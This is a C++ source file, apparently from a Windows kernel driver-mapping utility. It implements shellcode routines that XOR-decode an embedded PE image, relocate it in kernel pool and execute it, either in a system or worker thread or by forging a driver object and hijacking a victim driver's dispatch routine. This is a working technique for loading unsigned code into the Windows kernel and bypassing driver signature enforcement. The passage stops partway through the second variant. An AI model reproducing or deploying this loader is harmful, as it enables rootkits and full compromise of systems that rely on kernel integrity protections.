Files
hfiref0x 383f8929a2 Add hypervisor & environment detection and fixes
Improve diagnostics and fix some bugs

Signed-off-by: hfiref0x <hfiref0x@users.noreply.github.com>
2026-04-02 13:14:30 +07:00

2099 lines
61 KiB
C++

/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2020 - 2026
*
* TITLE: SHELLCODE.CPP
*
* VERSION: 1.48
*
* DATE: 01 Apr 2026
*
* Default driver mapping shellcode(s) implementation.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#include "global.h"
//
// WARNING: shellcode DOESN'T WORK in DEBUG
//
//
// Compiler/Linker:
//
// Disable: GS/Spectre/SDL and other bullshit.
// Favor Size & small code.
//
#define OB_DRIVER_PREFIX L"\\Driver\\"
#define OB_DRIVER_PREFIX_SIZE sizeof(OB_DRIVER_PREFIX) - sizeof(WCHAR)
#define OB_DRIVER_PREFIX_MAXSIZE sizeof(OB_DRIVER_PREFIX)
#define MAX_BASE_SCIMPORTS_NODBGPRINT 7
//
// Import functions for shellcode.
//
typedef struct _FUNC_TABLE {
#ifdef ENABLE_DBGPRINT
pfnDbgPrint DbgPrint;
#endif
pfnExAllocatePoolWithTag ExAllocatePoolWithTag;
pfnIofCompleteRequest IofCompleteRequest;
pfnZwMapViewOfSection ZwMapViewOfSection;
pfnZwUnmapViewOfSection ZwUnmapViewOfSection;
pfnObReferenceObjectByHandle ObReferenceObjectByHandle;
pfnObfDereferenceObject ObfDereferenceObject;
pfnKeSetEvent KeSetEvent;
} FUNC_TABLE, * PFUNC_TABLE;
//
// Shellcode layout structure.
//
//
// InitCode 16
// BootstrapCode BOOTSTRAPCODE_SIZE_VX
// Tag 4
// SectionViewSize 8
// MmSectionObjectType 8
// SectionHandle 8
// ReadEventHandle 8
// Import sizeof(FUNC_TABLE)
//
// Expected sizeof is 2048
//
//
// Maximum shellcode size.
// This value must fit into 2kb of general SHELLCODE structure size.
//
#define SC_MAX_SIZE 2048
#define SC_INIT_CODE_SIZE 16
#pragma pack(push, 1)
#define BOOTSTRAPCODE_SIZE_V1 ( SC_MAX_SIZE - SC_INIT_CODE_SIZE - \
sizeof(ULONG) - sizeof(SIZE_T) - sizeof(PVOID) - sizeof(HANDLE) - sizeof(HANDLE) - sizeof(FUNC_TABLE) )
typedef struct _SHELLCODE {
BYTE InitCode[SC_INIT_CODE_SIZE];
BYTE BootstrapCode[BOOTSTRAPCODE_SIZE_V1];
ULONG Tag;
SIZE_T SectionViewSize;
PVOID MmSectionObjectType; // Pointer to pointer
HANDLE SectionHandle;
HANDLE ReadyEventHandle;
FUNC_TABLE Import;
} SHELLCODE, * PSHELLCODE;
#pragma pack(pop)
C_ASSERT(BOOTSTRAPCODE_SIZE_V1 > 0);
C_ASSERT(sizeof(SHELLCODE) == SC_MAX_SIZE);
C_ASSERT(FIELD_OFFSET(SHELLCODE, Tag) == SC_INIT_CODE_SIZE + BOOTSTRAPCODE_SIZE_V1);
C_ASSERT(FIELD_OFFSET(SHELLCODE, Import) + sizeof(FUNC_TABLE) == SC_MAX_SIZE);
//
// Globals used during debug.
//
static IO_STACK_LOCATION g_testIostl;
static ULONG64 g_DummyULONG64;
//
// ScBootstrapLdr.asm
//
// 00 call +5
// 05 pop rcx
// 06 sub rcx, 5
// 0A jmps 10
// 0B int 3
// 0C int 3
// 0D int 3
// 0E int 3
// 0F int 3
// 10 code
//
BYTE ScBootstrapLdr[] = { 0xE8, 0x00, 0x00, 0x00, 0x00, 0x59, 0x48, 0x83, 0xE9, 0x05, 0xEB, 0x04 };
//
// ScBootstrapLdrCommon.asm
//
// 00 call +5
// 05 pop r8
// 07 sub r8, 5
// 0B jmps 10
// 0D int 3
// 0E int 3
// 0F int 3
// 10 code
//
BYTE ScBootstrapLdrCommon[] = { 0xE8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x58, 0x49, 0x83, 0xE8, 0x05, 0xEB, 0x03 };
/*
* ScGetBootstrapLdr
*
* Purpose:
*
* Return shellcode bootstrap loader pointer and size.
*
*/
PVOID ScGetBootstrapLdr(
_In_ ULONG ShellVersion,
_Out_opt_ PULONG Size
)
{
ULONG size;
PVOID ptr;
switch (ShellVersion) {
case KDU_SHELLCODE_V4:
size = sizeof(ScBootstrapLdr);
ptr = ScBootstrapLdr;
break;
default:
size = sizeof(ScBootstrapLdrCommon);
ptr = ScBootstrapLdrCommon;
break;
}
if (Size) *Size = size;
return ptr;
}
/*
*
* Set of user mode test routines.
*
*/
FORCEINLINE
PIO_STACK_LOCATION IoGetCurrentIrpStackLocationTest(
PIRP Irp
)
{
UNREFERENCED_PARAMETER(Irp);
OutputDebugStringA("Inside IoGetCurrentIrpStackLocationTest\r\n");
g_testIostl.MajorFunction = IRP_MJ_CREATE;
return &g_testIostl;
}
NTSTATUS NTAPI DriverEntryTest(
_In_ struct _DRIVER_OBJECT* DriverObject,
_In_ PUNICODE_STRING RegistryPath
)
{
OutputDebugString(L"\r\n[>] DriverEntryTest\r\n");
OutputDebugString(RegistryPath->Buffer);
OutputDebugString(L"\r\nDriverObject->DriverName: ");
OutputDebugString(DriverObject->DriverName.Buffer);
OutputDebugString(L"\r\n[<] DriverEntryTest\r\n");
return STATUS_SUCCESS;
}
VOID NTAPI ObMakeTemporaryObjectTest(
PVOID Object)
{
UNREFERENCED_PARAMETER(Object);
OutputDebugStringA("Inside ObMakeTemporaryObjectTest\r\n");
}
NTSTATUS NTAPI ZwMakeTemporaryObjectTest(
HANDLE Handle)
{
UNREFERENCED_PARAMETER(Handle);
OutputDebugStringA("Inside ZwMakeTemporaryObjectTest\r\n");
return STATUS_SUCCESS;
}
NTSTATUS NTAPI ObInsertObjectTest(
PVOID Object,
PACCESS_STATE AccessState,
ACCESS_MASK DesiredAccess,
ULONG ObjectPointerBias,
PVOID* NewObject,
PHANDLE Handle)
{
UNREFERENCED_PARAMETER(Object);
UNREFERENCED_PARAMETER(AccessState);
UNREFERENCED_PARAMETER(DesiredAccess);
UNREFERENCED_PARAMETER(ObjectPointerBias);
UNREFERENCED_PARAMETER(NewObject);
OutputDebugStringA("Inside ObInsertObjectTest\r\n");
*Handle = NULL;
return STATUS_SUCCESS;
}
NTSTATUS NTAPI ObCreateObjectTest(
KPROCESSOR_MODE ProbeMode,
POBJECT_TYPE ObjectType,
POBJECT_ATTRIBUTES ObjectAttributes,
KPROCESSOR_MODE OwnershipMode,
PVOID ParseContext,
ULONG ObjectBodySize,
ULONG PagedPoolCharge,
ULONG NonPagedPoolCharge,
PVOID* Object)
{
UNREFERENCED_PARAMETER(ProbeMode);
UNREFERENCED_PARAMETER(ObjectType);
UNREFERENCED_PARAMETER(ObjectAttributes);
UNREFERENCED_PARAMETER(OwnershipMode);
UNREFERENCED_PARAMETER(ParseContext);
UNREFERENCED_PARAMETER(PagedPoolCharge);
UNREFERENCED_PARAMETER(NonPagedPoolCharge);
OutputDebugStringA("Inside ObCreateObjectTest\r\n");
*Object = HeapAlloc(GetProcessHeap(), 0, ObjectBodySize);
return STATUS_SUCCESS;
}
VOID NTAPI ExQueueWorkItemTest(
PWORK_QUEUE_ITEM WorkItem,
WORK_QUEUE_TYPE QueueType)
{
UNREFERENCED_PARAMETER(WorkItem);
UNREFERENCED_PARAMETER(QueueType);
OutputDebugStringA("Inside ExQueueWorkItemTest\r\n");
}
PVOID NTAPI ExAllocatePoolWithTagTest(
POOL_TYPE PoolType,
SIZE_T NumberOfBytes,
ULONG Tag)
{
PVOID P;
UNREFERENCED_PARAMETER(PoolType);
UNREFERENCED_PARAMETER(Tag);
OutputDebugStringA("Inside ExAllocatePoolWithTagTest\r\n");
P = VirtualAlloc(NULL, NumberOfBytes, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
return P;
}
VOID NTAPI ExFreePoolTest(
PVOID P)
{
OutputDebugStringA("Inside ExFreePoolTest\r\n");
VirtualFree(P, 0, MEM_RELEASE);
}
VOID NTAPI ExFreePoolWithTagTest(
PVOID P,
ULONG Tag)
{
UNREFERENCED_PARAMETER(Tag);
OutputDebugStringA("Inside ExFreePoolWithTagTest\r\n");
VirtualFree(P, 0, MEM_RELEASE);
}
PVOID NTAPI MmGetSystemRoutineAddressTest(
PUNICODE_STRING SystemRoutineName
)
{
UNREFERENCED_PARAMETER(SystemRoutineName);
OutputDebugStringA("Inside MmGetSystemRoutineAddressTest\r\n");
return NULL;
}
VOID IofCompleteRequestTest(
VOID* Irp,
CCHAR PriorityBoost)
{
UNREFERENCED_PARAMETER(Irp);
UNREFERENCED_PARAMETER(PriorityBoost);
OutputDebugStringA("Inside IofCompleteRequestTest\r\n");
return;
}
NTSTATUS NTAPI ZwCloseTest(
HANDLE Handle
)
{
OutputDebugStringA("Inside ZwCloseTest\r\n");
if (Handle)
return NtClose(Handle);
else
return STATUS_SUCCESS;
}
NTSTATUS NTAPI PsCreateSystemThreadTest(
PHANDLE ThreadHandle,
ULONG DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
HANDLE ProcessHandle,
PCLIENT_ID ClientId,
PKSTART_ROUTINE StartRoutine,
PVOID StartContext)
{
UNREFERENCED_PARAMETER(ThreadHandle);
UNREFERENCED_PARAMETER(DesiredAccess);
UNREFERENCED_PARAMETER(ObjectAttributes);
UNREFERENCED_PARAMETER(ProcessHandle);
UNREFERENCED_PARAMETER(ClientId);
UNREFERENCED_PARAMETER(StartRoutine);
UNREFERENCED_PARAMETER(StartContext);
OutputDebugStringA("Inside PsCreateSystemThreadTest\r\n");
return STATUS_SUCCESS;
}
NTSTATUS NTAPI KeSetEventTest(
PKEVENT Event,
KPRIORITY Increment,
BOOLEAN Wait
)
{
UNREFERENCED_PARAMETER(Event);
UNREFERENCED_PARAMETER(Increment);
UNREFERENCED_PARAMETER(Wait);
OutputDebugStringA("Inside KeSetEventTest\r\n");
return STATUS_SUCCESS;
}
NTSTATUS NTAPI ObReferenceObjectByHandleTest(
HANDLE Handle,
ACCESS_MASK DesiredAccess,
POBJECT_TYPE ObjectType,
KPROCESSOR_MODE AccessMode,
PVOID* Object,
PVOID HandleInformation
)
{
UNREFERENCED_PARAMETER(Handle);
UNREFERENCED_PARAMETER(DesiredAccess);
UNREFERENCED_PARAMETER(ObjectType);
UNREFERENCED_PARAMETER(AccessMode);
UNREFERENCED_PARAMETER(Object);
UNREFERENCED_PARAMETER(HandleInformation);
OutputDebugStringA("Inside ObReferenceObjectByHandleTest\r\n");
return STATUS_SUCCESS;
}
VOID NTAPI ObfDereferenceObjectTest(
PVOID Object
)
{
UNREFERENCED_PARAMETER(Object);
OutputDebugStringA("Inside ObfDereferenceObjectTest\r\n");
}
ULONG NTAPI DbgPrintTest(
PCHAR Format,
...
)
{
UNREFERENCED_PARAMETER(Format);
OutputDebugStringA("Inside DbgPrintTest\r\n");
return 0;
}
//
// In case if MSVC trashes shellcode use #pragma optimize("", off)
//
/*
* ScLoaderRoutineV1
*
* Purpose:
*
* Bootstrap shellcode variant 4 (executed as code from preallocated area).
* Read image from shared section, process relocs and run it in allocated system thread.
*
* IRQL: PASSIVE_LEVEL
*
*/
VOID NTAPI ScLoaderRoutineV1(
_In_ PSHELLCODE ShellCode
)
{
NTSTATUS status;
ULONG isz;
HANDLE hThread;
OBJECT_ATTRIBUTES obja;
ULONG_PTR img, exbuffer;
PIMAGE_DOS_HEADER dosh;
PIMAGE_FILE_HEADER fileh;
PIMAGE_OPTIONAL_HEADER popth;
PIMAGE_BASE_RELOCATION rel;
DWORD_PTR delta;
LPWORD chain;
DWORD c, rsz, k, off;
PUCHAR ptr;
PKEVENT ReadyEvent;
PVOID SectionRef, pvSharedSection = NULL, rawExAlloc;
SIZE_T ViewSize;
PPAYLOAD_HEADER_V1 PayloadHeader;
POBJECT_TYPE* ppSecType;
#ifdef ENABLE_DBGPRINT
CHAR szFormat1[] = { 'S', '%', 'l', 'x', 0 };
CHAR szFormat2[] = { 'F', '%', 'l', 'x', 0 };
#endif
ppSecType = (POBJECT_TYPE*)ShellCode->MmSectionObjectType;
status = ShellCode->Import.ObReferenceObjectByHandle(
ShellCode->SectionHandle,
SECTION_ALL_ACCESS,
(ppSecType ? *ppSecType : NULL),
0,
(PVOID*)&SectionRef,
NULL);
if (NT_SUCCESS(status)) {
ViewSize = ShellCode->SectionViewSize;
status = ShellCode->Import.ZwMapViewOfSection(ShellCode->SectionHandle,
NtCurrentProcess(),
(PVOID*)&pvSharedSection,
0,
PAGE_SIZE,
NULL,
&ViewSize,
ViewUnmap,
0,
PAGE_READWRITE);
if (NT_SUCCESS(status)) {
k = ShellCode->Tag;
PayloadHeader = (PAYLOAD_HEADER_V1*)pvSharedSection;
rsz = PayloadHeader->ImageSize;
ptr = (PUCHAR)pvSharedSection + sizeof(PAYLOAD_HEADER_V1);
while (rsz--) {
*ptr ^= k;
k = _rotl(k, 1);
ptr++;
}
img = (ULONG_PTR)pvSharedSection + sizeof(PAYLOAD_HEADER_V1);
dosh = (PIMAGE_DOS_HEADER)img;
fileh = (PIMAGE_FILE_HEADER)(img + sizeof(DWORD) + dosh->e_lfanew);
popth = (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
isz = popth->SizeOfImage;
//
// Allocate memory for mapped image.
//
rawExAlloc = ShellCode->Import.ExAllocatePoolWithTag(
NonPagedPool,
isz + PAGE_SIZE,
ShellCode->Tag);
if (rawExAlloc) {
exbuffer = ((ULONG_PTR)rawExAlloc + (PAGE_SIZE - 1)) & ~(PAGE_SIZE - 1);
delta = exbuffer - popth->ImageBase;
//
// Relocate image.
//
if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC) {
off = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
if (off && rsz && off + rsz <= isz) {
rel = (PIMAGE_BASE_RELOCATION)(img + off);
c = 0;
while (c < rsz) {
chain = (LPWORD)((PUCHAR)rel + sizeof(IMAGE_BASE_RELOCATION));
for (off = sizeof(IMAGE_BASE_RELOCATION); off < rel->SizeOfBlock; off += sizeof(WORD), chain++) {
if ((*chain >> 12) == IMAGE_REL_BASED_DIR64)
*(PULONG_PTR)(img + rel->VirtualAddress + (*chain & 0x0FFF)) += delta;
}
c += rel->SizeOfBlock;
rel = (PIMAGE_BASE_RELOCATION)((PUCHAR)rel + rel->SizeOfBlock);
}
}
}
//
// Copy image to allocated buffer. We can't use any fancy memcpy stuff here.
//
__movsb((PUCHAR)exbuffer, (const UCHAR*)img, isz);
//
// Create system thread with handler set to image entry point.
//
hThread = NULL;
InitializeObjectAttributes(&obja, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
status = PayloadHeader->PsCreateSystemThread(&hThread,
THREAD_ALL_ACCESS,
&obja,
NULL,
NULL,
(PKSTART_ROUTINE)(exbuffer + popth->AddressOfEntryPoint),
NULL);
if (NT_SUCCESS(status))
PayloadHeader->ZwClose(hThread);
//
// Save result.
//
PayloadHeader->IoStatus.Status = status;
} //ExAllocatePoolWithTag(rawExAlloc)
ShellCode->Import.ZwUnmapViewOfSection(NtCurrentProcess(),
pvSharedSection);
} //ZwMapViewOfSection(pvSharedSection)
ShellCode->Import.ObfDereferenceObject(SectionRef);
//
// Fire the event to let userland know that we're ready.
//
status = ShellCode->Import.ObReferenceObjectByHandle(
ShellCode->ReadyEventHandle,
SYNCHRONIZE | EVENT_MODIFY_STATE,
NULL,
0,
(PVOID*)&ReadyEvent,
NULL);
if (NT_SUCCESS(status))
{
ShellCode->Import.KeSetEvent(ReadyEvent, 0, FALSE);
ShellCode->Import.ObfDereferenceObject(ReadyEvent);
}
} // ObReferenceObjectByHandle success
}
/*
* ScDispatchRoutineV3
*
* Purpose:
*
* Bootstrap shellcode variant 3.
* Read image from shared section, process relocs, allocate driver object and run driver entry point.
*
* N.B. This shellcode version is for a very specific use only. Refer to docs for more info.
*
* IRQL: PASSIVE_LEVEL
*
*/
NTSTATUS NTAPI ScDispatchRoutineV3(
_In_ struct _DEVICE_OBJECT* DeviceObject,
_Inout_ struct _IRP* Irp,
_In_ PSHELLCODE ShellCode)
{
NTSTATUS status;
ULONG isz;
ULONG_PTR img, exbuffer;
PIO_STACK_LOCATION StackLocation;
PIMAGE_DOS_HEADER dosh;
PIMAGE_FILE_HEADER fileh;
PIMAGE_OPTIONAL_HEADER popth;
PIMAGE_BASE_RELOCATION rel;
DWORD_PTR delta;
LPWORD chain;
DWORD c, rsz, k, off;
PUCHAR ptr;
PKEVENT ReadyEvent;
PVOID SectionRef, pvSharedSection = NULL, IopInvalidDeviceIoControl, rawExAlloc;
SIZE_T ViewSize;
PPAYLOAD_HEADER_V3 PayloadHeader;
ULONG objectSize;
HANDLE driverHandle;
PDRIVER_OBJECT driverObject;
POBJECT_TYPE* ppSecType;
OBJECT_ATTRIBUTES objectAttributes;
UNICODE_STRING driverName, regPath;
#ifdef ENABLE_DBGPRINT
CHAR szFormat1[] = { 'S', '%', 'l', 'x', 0 };
CHAR szFormat2[] = { 'F', '%', 'l', 'x', 0 };
#endif
#ifdef _DEBUG
StackLocation = IoGetCurrentIrpStackLocationTest(Irp);
#else
StackLocation = IoGetCurrentIrpStackLocation(Irp);
#endif
if ((StackLocation->MajorFunction == IRP_MJ_CREATE)
&& (DeviceObject->SectorSize == 0))
{
ppSecType = (POBJECT_TYPE*)ShellCode->MmSectionObjectType;
status = ShellCode->Import.ObReferenceObjectByHandle(
ShellCode->SectionHandle,
SECTION_ALL_ACCESS,
(ppSecType ? *ppSecType : NULL),
0,
(PVOID*)&SectionRef,
NULL);
if (NT_SUCCESS(status)) {
ViewSize = ShellCode->SectionViewSize;
status = ShellCode->Import.ZwMapViewOfSection(ShellCode->SectionHandle,
NtCurrentProcess(),
(PVOID*)&pvSharedSection,
0,
PAGE_SIZE,
NULL,
&ViewSize,
ViewUnmap,
0,
PAGE_READWRITE);
if (NT_SUCCESS(status)) {
k = ShellCode->Tag;
PayloadHeader = (PAYLOAD_HEADER_V3*)pvSharedSection;
rsz = PayloadHeader->ImageSize;
ptr = (PUCHAR)pvSharedSection + sizeof(PAYLOAD_HEADER_V3);
while (rsz--) {
*ptr ^= k;
k = _rotl(k, 1);
ptr++;
}
img = (ULONG_PTR)pvSharedSection + sizeof(PAYLOAD_HEADER_V3);
dosh = (PIMAGE_DOS_HEADER)img;
fileh = (PIMAGE_FILE_HEADER)(img + sizeof(DWORD) + dosh->e_lfanew);
popth = (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
isz = popth->SizeOfImage;
//
// Allocate memory for mapped image.
//
rawExAlloc = ShellCode->Import.ExAllocatePoolWithTag(
NonPagedPool,
isz + PAGE_SIZE,
ShellCode->Tag);
if (rawExAlloc) {
exbuffer = ((ULONG_PTR)rawExAlloc + (PAGE_SIZE - 1)) & ~(PAGE_SIZE - 1);
delta = exbuffer - popth->ImageBase;
//
// Relocate image.
//
if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC) {
off = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
if (off && rsz && off + rsz <= isz) {
rel = (PIMAGE_BASE_RELOCATION)(img + off);
c = 0;
while (c < rsz) {
chain = (LPWORD)((PUCHAR)rel + sizeof(IMAGE_BASE_RELOCATION));
for (off = sizeof(IMAGE_BASE_RELOCATION); off < rel->SizeOfBlock; off += sizeof(WORD), chain++) {
if ((*chain >> 12) == IMAGE_REL_BASED_DIR64)
*(PULONG_PTR)(img + rel->VirtualAddress + (*chain & 0x0FFF)) += delta;
}
c += rel->SizeOfBlock;
rel = (PIMAGE_BASE_RELOCATION)((PUCHAR)rel + rel->SizeOfBlock);
}
}
}
//
// Copy image to allocated buffer. We can't use any fancy memcpy stuff here.
//
__movsb((PUCHAR)exbuffer, (const UCHAR*)img, isz);
//
// Remember Victim IRP_MJ_PNP as invalid device request handler.
//
IopInvalidDeviceIoControl = DeviceObject->DriverObject->MajorFunction[IRP_MJ_PNP];
driverName.Buffer = PayloadHeader->ObjectName.Buffer;
driverName.Length = PayloadHeader->ObjectName.Length;
driverName.MaximumLength = PayloadHeader->ObjectName.MaximumLength;
InitializeObjectAttributes(&objectAttributes, &driverName,
OBJ_PERMANENT | OBJ_CASE_INSENSITIVE, NULL, NULL);
//
// We cannot use IoCreateDriver here as it supply DriverEntry with NULL as registry path.
//
//
// Calculate object body size, number of bytes used by ObManager in ExAllocate* call.
// Must include driver object body and real size of driver extension which tail is opaque
// and different on various versions of NT. Assume 40 extra bytes (as on Win10) is currently enough.
//
// N.B. Correct this size according to future IopDeleteDriver changes.
//
objectSize = sizeof(DRIVER_OBJECT) +
sizeof(DRIVER_EXTENSION) +
40;
status = PayloadHeader->ObCreateObject(KernelMode, *(POBJECT_TYPE*)PayloadHeader->IoDriverObjectType,
&objectAttributes, KernelMode, NULL, objectSize, 0, 0, (PVOID*)&driverObject);
if (NT_SUCCESS(status)) {
__stosb((PUCHAR)driverObject, 0, objectSize);
driverObject->DriverExtension = (PDRIVER_EXTENSION)(driverObject + 1);
driverObject->DriverExtension->DriverObject = driverObject;
driverObject->Type = IO_TYPE_DRIVER;
driverObject->Size = sizeof(DRIVER_OBJECT);
driverObject->Flags = DRVO_BUILTIN_DRIVER;
driverObject->DriverInit = (PDRIVER_INITIALIZE)(exbuffer + popth->AddressOfEntryPoint);
for (c = 0; c <= IRP_MJ_MAXIMUM_FUNCTION; c++)
driverObject->MajorFunction[c] = IopInvalidDeviceIoControl;
//
// Allocate DriverExtension->ServiceKeyName. Failure is insignificant.
// In case of NULL ptr IopDeleteDriver will handle this correctly.
//
driverObject->DriverExtension->ServiceKeyName.Buffer = (PWSTR)ShellCode->Import.ExAllocatePoolWithTag(PagedPool,
driverName.Length + sizeof(WCHAR), SHELL_POOL_TAG);
if (driverObject->DriverExtension->ServiceKeyName.Buffer) {
driverObject->DriverExtension->ServiceKeyName.MaximumLength = driverName.MaximumLength;
driverObject->DriverExtension->ServiceKeyName.Length = driverName.Length;
__movsb((PUCHAR)driverObject->DriverExtension->ServiceKeyName.Buffer, (UCHAR*)driverName.Buffer, driverName.Length);
}
status = PayloadHeader->ObInsertObject(driverObject, 0, FILE_READ_ACCESS, 0, NULL, &driverHandle);
if (NT_SUCCESS(status)) {
//
// Reference object so we can close driver handle without object going away.
//
status = ShellCode->Import.ObReferenceObjectByHandle(driverHandle, 0, *(POBJECT_TYPE*)PayloadHeader->IoDriverObjectType,
KernelMode, (PVOID*)&driverObject, NULL);
if (NT_SUCCESS(status)) {
PayloadHeader->ZwClose(driverHandle);
//
// Allocate DriverObject->DriverName. Failure is insignificant.
// In case of NULL ptr IopDeleteDriver will handle this correctly.
//
driverObject->DriverName.Buffer = (PWSTR)ShellCode->Import.ExAllocatePoolWithTag(PagedPool,
driverName.MaximumLength, SHELL_POOL_TAG);
if (driverObject->DriverName.Buffer) {
driverObject->DriverName.MaximumLength = driverName.MaximumLength;
driverObject->DriverName.Length = driverName.Length;
__movsb((PUCHAR)driverObject->DriverName.Buffer, (UCHAR*)driverName.Buffer, driverName.Length);
}
regPath.Buffer = PayloadHeader->RegistryPath.Buffer;
regPath.Length = PayloadHeader->RegistryPath.Length;
regPath.MaximumLength = PayloadHeader->RegistryPath.MaximumLength;
//
// Call entrypoint.
//
#ifdef _DEBUG
status = DriverEntryTest(driverObject, &regPath);
#else
status = ((PDRIVER_INITIALIZE)(exbuffer + popth->AddressOfEntryPoint))(
driverObject,
&regPath);
#endif
//
// Driver initialization failed, get rid of driver object.
//
if (!NT_SUCCESS(status)) {
PayloadHeader->ObMakeTemporaryObject(driverObject);
ShellCode->Import.ObfDereferenceObject(driverObject);
}
} else {
//
// ObReferenceObjectByHandle failed.
// Attempt to get rid of bogus object.
//
PayloadHeader->ZwMakeTemporaryObject(driverHandle);
PayloadHeader->ZwClose(driverHandle);
}
}
#ifdef ENABLE_DBGPRINT
//
// ObInsertObject failed switch, on fail ObManager dereference newly created object automatically.
//
else {
//
// ObInsertObject failed, output debug here.
//
}
#endif
}
#ifdef ENABLE_DBGPRINT
//
// ObCreateObject failed switch, no need to do anything.
//
else {
//
// ObCreateObject failed, output debug here.
//
}
#endif
//
// Save result.
//
PayloadHeader->IoStatus.Status = status;
//
// Block further IRP_MJ_CREATE requests.
//
DeviceObject->SectorSize = 512;
} //ExAllocatePoolWithTag(rawExAlloc)
ShellCode->Import.ZwUnmapViewOfSection(NtCurrentProcess(),
pvSharedSection);
} //ZwMapViewOfSection(pvSharedSection)
ShellCode->Import.ObfDereferenceObject(SectionRef);
//
// Fire the event to let userland know that we're ready.
//
status = ShellCode->Import.ObReferenceObjectByHandle(ShellCode->ReadyEventHandle,
SYNCHRONIZE | EVENT_MODIFY_STATE, NULL, 0, (PVOID*)&ReadyEvent, NULL);
if (NT_SUCCESS(status))
{
ShellCode->Import.KeSetEvent(ReadyEvent, 0, FALSE);
ShellCode->Import.ObfDereferenceObject(ReadyEvent);
}
} // ObReferenceObjectByHandle success
}
ShellCode->Import.IofCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
/*
* ScDispatchRoutineV2
*
* Purpose:
*
* Bootstrap shellcode variant 2.
* Read image from shared section, process relocs and run it in a worker thread.
*
* IRQL: PASSIVE_LEVEL
*
*/
NTSTATUS NTAPI ScDispatchRoutineV2(
_In_ struct _DEVICE_OBJECT* DeviceObject,
_Inout_ struct _IRP* Irp,
_In_ PSHELLCODE ShellCode)
{
NTSTATUS status;
ULONG isz;
ULONG_PTR img, exbuffer;
PIO_STACK_LOCATION StackLocation;
PIMAGE_DOS_HEADER dosh;
PIMAGE_FILE_HEADER fileh;
PIMAGE_OPTIONAL_HEADER popth;
PIMAGE_BASE_RELOCATION rel;
DWORD_PTR delta;
LPWORD chain;
DWORD c, rsz, k, off;
PUCHAR ptr;
PKEVENT ReadyEvent;
PVOID SectionRef, pvSharedSection = NULL, rawExAlloc;
SIZE_T ViewSize;
POBJECT_TYPE* ppSecType;
PPAYLOAD_HEADER_V2 PayloadHeader;
WORK_QUEUE_ITEM* WorkItem;
#ifdef ENABLE_DBGPRINT
CHAR szFormat1[] = { 'S', '%', 'l', 'x', 0 };
CHAR szFormat2[] = { 'F', '%', 'l', 'x', 0 };
#endif
#ifdef _DEBUG
StackLocation = IoGetCurrentIrpStackLocationTest(Irp);
#else
StackLocation = IoGetCurrentIrpStackLocation(Irp);
#endif
if ((StackLocation->MajorFunction == IRP_MJ_CREATE)
&& (DeviceObject->SectorSize == 0))
{
ppSecType = (POBJECT_TYPE*)ShellCode->MmSectionObjectType;
status = ShellCode->Import.ObReferenceObjectByHandle(
ShellCode->SectionHandle,
SECTION_ALL_ACCESS,
(ppSecType ? *ppSecType : NULL),
0,
(PVOID*)&SectionRef,
NULL);
if (NT_SUCCESS(status)) {
ViewSize = ShellCode->SectionViewSize;
status = ShellCode->Import.ZwMapViewOfSection(ShellCode->SectionHandle,
NtCurrentProcess(),
(PVOID*)&pvSharedSection,
0,
PAGE_SIZE,
NULL,
&ViewSize,
ViewUnmap,
0,
PAGE_READWRITE);
if (NT_SUCCESS(status)) {
k = ShellCode->Tag;
PayloadHeader = (PAYLOAD_HEADER_V2*)pvSharedSection;
rsz = PayloadHeader->ImageSize;
ptr = (PUCHAR)pvSharedSection + sizeof(PAYLOAD_HEADER_V2);
while (rsz--) {
*ptr ^= k;
k = _rotl(k, 1);
ptr++;
}
img = (ULONG_PTR)pvSharedSection + sizeof(PAYLOAD_HEADER_V2);
dosh = (PIMAGE_DOS_HEADER)img;
fileh = (PIMAGE_FILE_HEADER)(img + sizeof(DWORD) + dosh->e_lfanew);
popth = (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
isz = popth->SizeOfImage;
//
// Allocate memory for mapped image.
//
rawExAlloc = ShellCode->Import.ExAllocatePoolWithTag(
NonPagedPool,
isz + PAGE_SIZE,
ShellCode->Tag);
if (rawExAlloc) {
exbuffer = ((ULONG_PTR)rawExAlloc + (PAGE_SIZE - 1)) & ~(PAGE_SIZE - 1);
delta = exbuffer - popth->ImageBase;
//
// Relocate image.
//
if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC) {
off = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
if (off && rsz && off + rsz <= isz) {
rel = (PIMAGE_BASE_RELOCATION)(img + off);
c = 0;
while (c < rsz) {
chain = (LPWORD)((PUCHAR)rel + sizeof(IMAGE_BASE_RELOCATION));
for (off = sizeof(IMAGE_BASE_RELOCATION); off < rel->SizeOfBlock; off += sizeof(WORD), chain++) {
if ((*chain >> 12) == IMAGE_REL_BASED_DIR64)
*(PULONG_PTR)(img + rel->VirtualAddress + (*chain & 0x0FFF)) += delta;
}
c += rel->SizeOfBlock;
rel = (PIMAGE_BASE_RELOCATION)((PUCHAR)rel + rel->SizeOfBlock);
}
}
}
//
// Copy image to allocated buffer. We can't use any fancy memcpy stuff here.
//
__movsb((PUCHAR)exbuffer, (const UCHAR*)img, isz);
//
// Allocate worker and run image entry point within system worker thread.
//
